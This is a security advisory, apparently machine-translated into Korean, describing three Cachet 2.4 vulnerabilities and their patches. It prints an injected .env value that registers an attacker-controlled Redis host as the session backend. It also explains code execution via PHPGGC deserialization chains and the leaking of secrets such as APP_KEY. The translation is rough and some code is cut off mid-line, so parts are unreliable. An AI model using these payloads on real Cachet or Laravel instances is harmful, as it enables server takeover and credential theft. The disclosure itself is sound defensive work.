캐셋 2.4: 라라벨 설정 注 들여 코드 실행

들어오는 데이터에 대한 유효성 검사는 수행되지 않습니다: 구성 항목이 이미 존재하는 한 매개변수에서 오는 값으로 교체됩니다. 공격자가 줄 바꿈이 포함된 값을 제공하면 dotenv 파일에 새 항목을 생성하고 프레임워크 수준 기능을 변경할 수 있습니다.

참고: dotenv 파일에서 변수의 첫 번째 정의만 사용됩니다. 그 이후의 정의는 무시됩니다.

라라벨 프로젝트에서 이러한 기본 사항만으로 임의의 코드 실행을 얻을 수 있습니다. 초기 dotenv 구성 파일은 대부분의 인스턴스에서 다음과 같은 모습일 것입니다:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

공격자는 CACHE_DRIVER 키를 교체하고 자신이 제어하는 Redis 서버를 새로운 세션 백엔드로 등록할 수 있습니다:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

이 CACHE_DRIVER를 이 값으로 설정하는 요청을 보낸 후 dotenv 파일은 다음과 같아집니다:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

라라벨 세션은 PHP의 기본 형식을 사용하여 직렬화되기 때문에 unserialize() 함수로 구문 분석됩니다. 이는 특수 제작된 객체 시퀀스를 사용하여 임의의 코드 실행으로 이용될 수 있는 알려진 약점으로, 이를 “팝 체인”이라는 개념으로 활용할 수 있습니다. PHPGGC 도구는 라라벨 프로젝트용 이러한 체인을 생성할 수 있습니다.

dotenv 파일의 새 라인 삽입으로부터 명령 실행을 이용하는 다른 방법이 존재할 수 있지만, 우리는 이 방향으로의 추가 연구를 진행하지 않았습니다. 저희 팀은 다른 기술에 대해 알고 계신지 궁금합니다!

CVE-2021-39174: 구성 누출

앞서 설명한 바와 같이, dotenv 파일에 저장된 값에 대한 직접적인 읽기 및 쓰기 제어가 가능합니다. 이 파일에 쓰는 것은 궁극적으로 임의의 코드 실행으로 이어지지만, 이 파일의 값이 인터페이스에 표시되는 사실을 이용하여 이용할 수도 있습니까?

문서화된 vlucas/phpdotenv에 따르면 중첩 변수 할당을 지원합니다: 변수를 선언할 때 ${NAME} 구문으로 이전에 선언된 변수를 참조할 수 있습니다.

이 기능은 편리합니다: dotenv 구성 파일의 항목에서 다른 변수를 참조하고 인터페이스에서 해당 항목을 표시함으로써 다른 변수의 값을 드러낼 수 있습니다.

세션 드라이버가 쿠키로 설정된 경우 APP_KEY가 유출되면 코드 실행에 이르게 되며, 이러한 기본 요소를 사용하여 DB_PASSWORD와 MAIL_PASSWORD를 유출하여 추가적인 공격을 수행할 수 있다는 것은 이미 널리 문서화되어 있습니다.

CVE-2021-39173: 강제 재설치

인스턴스가 이미 설치된 경우 중간 처리 과정에서 구현된 것처럼 설정 페이지에 접근할 수 없습니다. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // 설정되지 않았습니다!      
         }        
         
         return $next($request);   
  } 
}

이 검사는 설정의 값에 의해서만 이루어집니다: 정의되지 않았거나 비어 있으면 미들웨어는 인스턴스가 설치되었다고 간주합니다.

만약 무엇이 false로 평가될 수 있는지 궁금하다면, PHP 8까지의 비교 시스템에 대한 간단한 소개를 드리겠습니다. 비교는 등가성 검사(==) 또는 동일성 검사(===)를 사용하여 수행할 수 있습니다. 등가성 검사는 피연산자의 타입을 고려하지 않으며, 문자열은 이전에 숫자로 변환될 수 있습니다. 이러한 동작을 “타입 저글링”이라고 부르며, 다양한 실제 취약점(CVE-2017-1001000, CVE-2019-10231)에서 악용되었습니다. 위의 비교 경우에는 빈 문자열이나 “0”과 같은 어떤 값이라도 false로 평가되어 설정 페이지에 접근할 수 있습니다.

설정 업데이트 중에 app_name의 값이 SettingsController@postSettings에서 유효성 검사되지 않고, [1]에서:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

따라서 인증된 사용자는 이를 false로 평가되는 값으로 업데이트한 다음 다시 액세스/설정하여 새 관리자 계정으로 인스턴스를 재설치하거나(권한 상승) 첫 번째 취약점을 악용하여 코드 실행을 달성할 수 있습니다(기억하세요, UpdateConfigCommandHandler도 이 코드 경로에서 악용될 수 있습니다).

패치

새 라인 인젝션 취약점(CVE-2021-39172)은 UpdateConfigCommandHandler에서 들어오는 값의 유효성 검사를 개선하여 모든 변경 내용을 거부하는 것으로 해결되었습니다.줄 바꿈 문자를 포함한 것.

설정 누출 버그(CVE-2021-39174)는 패치하기가 더 복잡했으며, 기존 종속성 때문에 최신 버전의 dotenv 라이브러리를 가져올 수 없었습니다. 대신, 관련 코드를 포팅하여 명령 핸들러가 값에 중첩된 변수가 포함되어 있는지 확인할 수 있게 했습니다. 

마지막으로, 기존 인스턴스(CVE-2021-39173)에 대한 재설치를 강제할 수 없습니다. 개선된 검사가 영향을 받는 미들웨어에서.

타임라인

요약

이 글에서는 Cachet의 세 가지 취약점을 분석하고, Laravel 설정 파일을 사용하여 기본 사용자 권한으로 인스턴스를 장악할 수 있음을 보였습니다. 또한 유지 관리자가 적용한 패치와 제시한 공격을 방지하는 방법을 설명했습니다. 

마지막으로, 저희 팀과 저는 FiveAI의 Cachet 포크 유지 관리자들께 저희의 공개를 인정하고 이러한 취약점을 빠르고 전문적으로 수정해 주신 것에 감사의 말씀을 전하고 싶습니다.